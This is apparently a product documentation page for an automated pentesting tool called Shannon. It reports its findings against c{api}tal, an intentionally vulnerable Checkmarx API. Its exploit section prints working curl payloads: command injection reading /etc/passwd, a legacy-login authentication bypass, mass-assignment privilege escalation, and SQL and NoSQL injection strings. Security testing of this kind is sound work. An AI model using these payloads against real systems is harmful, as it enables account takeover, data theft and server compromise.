c{api}tal API report

Shannon identified nearly 15 critical and high-severity vulnerabilities leading to full application compromise in ctal, an intentionally vulnerable API from Checkmarx designed to test the OWASP API Security Top 10.

The full report is available in the Shannon repository at sample-reports/shannon-report-capital-api.md

Executive summary

Target: ctal API (Checkmarx)
Assessment scope: OWASP API Security Top 10
Total vulnerabilities: Nearly 15 critical/high findings
Overall impact: Complete application and infrastructure compromise

Key accomplishments

Root-level command injection

Bypassed denylist via command chaining in hidden debug endpoint

Complete auth bypass

Discovered and exploited legacy v1 API endpoint

Privilege escalation

Regular user to full admin via mass assignment

Zero false positives

Correctly confirmed robust XSS defenses with no false alerts

Critical findings

Command injection (Critical)

Root-level OS command injection

Location: POST /api/debug/exec (hidden endpoint)
Severity: Critical
Impact: Complete server compromise with root accessVulnerability: Blacklist bypass via command chainingExploit:

curl -X POST http://capital-api.local/api/debug/exec \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command":"ls;cat /etc/passwd"}'

Proof of impact:

Executed arbitrary OS commands with root privileges
Read /etc/passwd, /etc/shadow
Established reverse shell
Exfiltrated application secrets and database credentials

Technical details:
The debug endpoint uses a blacklist approach (rm, dd, mkfs) which is trivially bypassed using command separators (;, &&, |).

Command injection via user input

Location: Export functionality
Severity: Critical
Impact: Remote code executionUnsanitized file path parameter in export endpoint enables command injection via path traversal and shell metacharacters.

Authentication bypass (Critical)

Legacy API v1 authentication bypass

Location: /api/v1/login (unpatched legacy endpoint)
Severity: Critical
Impact: Complete authentication bypass for any accountExploit:

# V2 endpoint (secure)
curl -X POST http://capital-api.local/api/v2/login \
  -d '{"username":"admin","password":"wrong"}'
# Result: 401 Unauthorized

# V1 endpoint (vulnerable)
curl -X POST http://capital-api.local/api/v1/login \
  -d '{"username":"admin"}'
# Result: Valid JWT token without password verification

Proof of impact:
Successfully obtained admin JWT tokens without providing passwords. The v1 endpoint lacks password verification entirely.Recommendation:
Disable or remove all legacy API versions. Implement API versioning sunset policies.

Authorization vulnerabilities (Critical)

Mass assignment privilege escalation

Location: PUT /api/users/{id} (profile update)
Severity: Critical
Impact: Instant admin privilege escalationExploit:

# Regular user updates their profile with admin role
curl -X PUT http://capital-api.local/api/users/42 \
  -H "Authorization: Bearer $USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "username":"regularuser",
    "email":"[email protected]",
    "role":"admin",
    "permissions":["*"]
  }'

Proof of impact:
Regular user account successfully elevated to admin role with full system permissions.Code analysis:
The profile update endpoint lacks input filtering, allowing clients to set privileged fields like role and permissions.

IDOR - Access any user data

Location: GET /api/users/{id}
Severity: High
Impact: Horizontal privilege escalationNo authorization check on user ID parameter enables accessing any user’s profile including:

Personal information (email, phone, address)
Payment methods and transaction history
API keys and access tokens
Account settings and preferences

BOLA - Modify any resource

Location: PUT/DELETE /api/transactions/{id}
Severity: High
Impact: Financial fraud, data manipulationTransaction endpoints lack ownership validation, allowing users to:

View other users’ transactions
Modify transaction amounts
Delete audit logs

Injection vulnerabilities (Critical)

SQL injection in search

Location: GET /api/search?q={query}
Severity: Critical
Impact: Database compromiseExploit:

curl "http://capital-api.local/api/search?q=test'%20UNION%20SELECT%20username,password,email%20FROM%20users--"

Successfully extracted:

All user credentials (usernames, password hashes, emails)
Admin API keys
Database schema

NoSQL injection

Location: MongoDB query endpoints
Severity: High
Impact: Authentication bypass, data exfiltrationUnsanitized MongoDB queries enable operator injection:

{"username": {"$ne": null}, "password": {"$ne": null}}

Business logic vulnerabilities (High)

Rate limit bypass

Location: All API endpoints
Severity: Medium
Impact: Brute force attacks, DoSMissing rate limiting on:

Login endpoint (credential stuffing)
Password reset (account takeover)
API endpoints (resource exhaustion)

Excessive data exposure

Location: User and transaction APIs
Severity: Medium
Impact: Information disclosureAPI responses include sensitive internal fields:

Password hashes in user objects
Internal database IDs
System configuration details
Debug information in error messages

XSS testing results

High accuracy demonstrated: Shannon correctly identified that ctal implements robust XSS defenses:

Content Security Policy (CSP) with strict directives
Automatic output encoding in all templates
Input sanitization on client-side rendering

Shannon reported zero false positives for XSS, accurately confirming the application’s security controls.

Impact summary

Combined impact: Complete application and infrastructure compromise:

Root shell access via command injection in debug endpoint
Authentication bypass via legacy v1 API
Privilege escalation via mass assignment
Complete database access via SQL injection
Horizontal access to all user accounts via IDOR/BOLA
API key exfiltration via excessive data exposure

Statistics

Metric	Value
Total vulnerabilities	15
Critical severity	7
High severity	6
Medium severity	2
Runtime	1.2 hours
API cost	~$48 USD
False positives	0
XSS defenses validated	✓

Key takeaways

Hidden endpoints are high-risk

The debug endpoint was discovered through code analysis, not enumeration

Legacy versions create backdoors

V1 API provided complete bypass of V2 security controls

Mass assignment is critical

Input filtering prevents privilege escalation attacks

False positives matter

Correctly validating strong defenses is as important as finding vulnerabilities

Full report

View complete report in GitHub

c{api}tal repository

Checkmarx ctal source code

Test your API

Run Shannon against your API

API security coverage

OWASP API Top 10 coverage

Reports & Results

Testing Coverage

c{api}tal API report

Executive summary

Key accomplishments

Root-level command injection

Complete auth bypass

Privilege escalation

Zero false positives

Critical findings

Command injection (Critical)

Authentication bypass (Critical)

Authorization vulnerabilities (Critical)

Injection vulnerabilities (Critical)

Business logic vulnerabilities (High)

XSS testing results

Impact summary

Statistics

Key takeaways

Hidden endpoints are high-risk

Legacy versions create backdoors

Mass assignment is critical

False positives matter

Full report

c{api}tal repository

Test your API

API security coverage

Build docs developers (and LLMs) love

Reports & Results

Testing Coverage

​Executive summary

​Key accomplishments

Root-level command injection

Complete auth bypass

Privilege escalation

Zero false positives

​Critical findings

​Command injection (Critical)

​Authentication bypass (Critical)

​Authorization vulnerabilities (Critical)

​Injection vulnerabilities (Critical)

​Business logic vulnerabilities (High)

​XSS testing results

​Impact summary

​Statistics

​Key takeaways

Hidden endpoints are high-risk

Legacy versions create backdoors

Mass assignment is critical

False positives matter

​Related resources

Full report

c{api}tal repository

Test your API

API security coverage

Build docs developers (and LLMs) love

Executive summary

Key accomplishments

Critical findings

Command injection (Critical)

Authentication bypass (Critical)

Authorization vulnerabilities (Critical)

Injection vulnerabilities (Critical)

Business logic vulnerabilities (High)

XSS testing results

Impact summary

Statistics

Key takeaways

Related resources